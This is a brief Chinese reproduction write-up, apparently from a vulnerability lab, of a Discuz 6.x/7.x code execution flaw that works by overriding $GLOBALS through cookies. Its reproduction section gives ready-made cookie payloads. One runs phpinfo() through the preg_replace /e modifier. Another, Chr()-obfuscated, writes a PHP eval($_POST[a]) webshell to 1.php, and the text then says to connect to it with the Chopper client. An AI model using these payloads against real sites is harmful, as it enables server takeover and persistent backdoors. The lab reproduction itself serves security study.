Discuz 7.x6.x 全局变量防御绕过导致代码执行 wooyun-2010-080723

0X01 漏洞介绍

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

0x02 影响版本

Discuz 7.x6.x

0x03 搭建环境

启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz

0x04 漏洞复现

安装成功后,直接找一个已存在的帖子,截断其数据包,将Cookie改为:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

成功执行phpinfo();

 Discuz 7.x6.x 全局变量防御绕过导致代码执行 wooyun-2010-080723

 

 

写入webshell,将Cookie改为:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(49).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

 

 Discuz 7.x6.x 全局变量防御绕过导致代码执行 wooyun-2010-080723

 

 

菜刀连接http://your-ip:8080/1.php,密码a:

 Discuz 7.x6.x 全局变量防御绕过导致代码执行 wooyun-2010-080723

 

 

0x05 修复方案

官方已经停止对 Discuz! 6.x/7.x 产品的维护,请尽快将您的 Discuz! 升级到最新版本。

Discuz 7.x6.x 全局变量防御绕过导致代码执行 wooyun-2010-080723

上一篇:jstack命令详解


下一篇:ASP.NET Core中的GetService()和GetRequiredService()的区别【翻译】